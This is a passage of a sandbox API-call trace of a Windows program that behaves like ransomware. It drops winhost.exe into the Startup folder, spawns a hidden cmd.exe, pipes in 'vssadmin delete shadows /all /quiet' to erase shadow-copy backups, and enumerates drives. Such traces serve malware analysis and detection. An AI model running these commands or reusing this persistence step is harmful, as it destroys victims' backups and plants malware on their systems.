dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0223.632] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.632] CloseHandle (hObject=0x244) returned 1 [0223.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534598 [0223.632] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534598, Size=0x20) returned 0x52ea00 [0223.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534448 [0223.632] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534448, Size=0x20) returned 0x52ea50 [0223.633] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0223.633] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0223.633] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0223.633] lstrlenW (lpString="kernel32.dll") returned 12 [0223.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ea50 | out: hHeap=0x4f0000) returned 1 [0223.633] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0223.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ea00 | out: hHeap=0x4f0000) returned 1 [0223.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2318020 | out: hHeap=0x4f0000) returned 1 [0223.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x536510 | out: hHeap=0x4f0000) returned 1 [0223.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546518 | out: hHeap=0x4f0000) returned 1 [0223.635] lstrlenW (lpString="%windir%\\System32") returned 17 [0223.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50a1a8 | out: hHeap=0x4f0000) returned 1 [0223.635] lstrlenW (lpString="%appdata%") returned 9 [0223.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e9d8 | out: hHeap=0x4f0000) returned 1 [0223.635] lstrlenW (lpString="%sh(Startup)%") returned 13 [0223.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ec08 | out: hHeap=0x4f0000) returned 1 [0223.636] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0223.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50a238 | out: hHeap=0x4f0000) returned 1 [0223.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534550 [0223.636] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534550, Size=0x20) returned 0x52ed20 [0223.636] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ed20, Size=0x40) returned 0x50a430 [0223.636] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a430, Size=0x80) returned 0x576cc8 [0223.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534448 [0223.636] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534448, Size=0x20) returned 0x52ed48 [0223.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1fffc) returned 0x536510 [0223.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x556518 [0223.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x566520 [0223.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5343d0 [0223.636] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5343d0, Size=0x20) returned 0x52ea28 [0223.636] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ea28, Size=0x40) returned 0x50a1a8 [0223.636] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a1a8, Size=0x80) returned 0x576bb8 [0223.636] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576bb8, Size=0x100) returned 0x535018 [0223.636] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0223.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x535018 | out: hHeap=0x4f0000) returned 1 [0223.636] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x556518, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0223.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x566520 | out: hHeap=0x4f0000) returned 1 [0223.637] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x556518 | out: hHeap=0x4f0000) returned 1 [0223.637] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0223.639] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0223.639] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0223.641] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0223.641] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xd0c, dwThreadId=0xd10)) returned 1 [0223.664] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0223.664] WriteFile (in: hFile=0x24c, lpBuffer=0x576cc8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x576cc8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0223.664] CloseHandle (hObject=0x25c) returned 1 [0223.664] CloseHandle (hObject=0x258) returned 1 [0223.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x536510 | out: hHeap=0x4f0000) returned 1 [0223.665] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0223.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576cc8 | out: hHeap=0x4f0000) returned 1 [0223.665] lstrlenW (lpString="%comspec%") returned 9 [0223.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ed48 | out: hHeap=0x4f0000) returned 1 [0223.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0223.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x534610 [0223.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x534610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0223.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x533690 [0223.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x533690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5343b8 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5343b8, Size=0x20) returned 0x52ec80 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ec80, Size=0x40) returned 0x50a160 [0223.666] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd0) returned 0x50af68 [0223.666] GetLogicalDrives () returned 0x4 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10014) returned 0x536510 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5345e0 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5345e0, Size=0x20) returned 0x52ee38 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ee38, Size=0x40) returned 0x50a700 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a700, Size=0x80) returned 0x577438 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x577438, Size=0x100) returned 0x5350a8 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5350a8, Size=0x200) returned 0x577538 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x577538, Size=0x400) returned 0x577538 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x577538, Size=0x800) returned 0x577538 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x577538, Size=0x1000) returned 0x577538 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x546530 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534490 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x534388 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x533710 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5343b8 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5336e0 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534400 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5336e0, Size=0x8) returned 0x533730 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534598 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533730, Size=0x10) returned 0x534448 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534628 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534508 [0223.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x534448, Size=0x20) returned 0x52ee60 [0223.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5345e0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5336e0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x534370 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x534418 [0223.667] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ee60, Size=0x40) returned 0x50a7d8 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5344a8 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5343d0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5344d8 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x534448 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5345b0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534460 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5335a0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534478 [0223.667] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a7d8, Size=0x80) returned 0x5765e0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534520 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534538 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534550 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534568 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534688 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5346a0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5346b8 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x533650 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534700 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534718 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5346d0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534730 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5346e8 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x534670 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578ca8 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578c48 [0223.667] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5765e0, Size=0x100) returned 0x5350a8 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578d20 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578c78 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578c60 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x578d08 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578c30 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578be8 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x533660 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578bd0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578c90 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578cd8 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x5336f0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578cf0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578c00 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x533600 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578b70 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578b88 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578ba0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578cc0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578bb8 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578c18 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x578690 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578828 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x578570 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578630 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5786f0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5786a8 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578840 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5335b0 [0223.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578678 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5786c0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5787c8 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578858 [0223.668] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5350a8, Size=0x200) returned 0x578d48 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578588 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5335d0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5785a0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578798 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5785b8 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578618 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578660 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5787e0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5787b0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578810 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578750 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5785d0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5785e8 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578600 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578648 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5786d8 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5787f8 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578708 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578720 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578738 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578768 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578780 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578870 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x533700 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5789d8 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578978 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578a80 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x533730 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578b10 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578948 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578ab0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578960 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5788e8 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578900 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578b58 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578b28 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578930 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578a98 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578918 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578888 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578af8 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578a50 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578a68 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5789f0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5788a0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5788d0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578990 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5789a8 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578ac8 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x533610 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x5335e0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578ae0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5788b8 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5789c0 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578b40 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578a08 [0223.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578a20 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578a38 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579328 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5792e0 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5793e8 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579538 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579388 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579520 [0223.669] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x578d48, Size=0x400) returned 0x579758 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579280 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579550 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5792b0 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579400 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5792f8 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579310 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579418 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579568 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579430 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579340 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x533720 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579508 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5793a0 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579448 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579298 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579460 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5794d8 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x579478 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579358 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5793d0 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5794a8 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579370 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5792c8 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5793b8 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579490 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5794c0 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x533740 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5794f0 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579670 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5795b0 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579688 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579718 [0223.669] 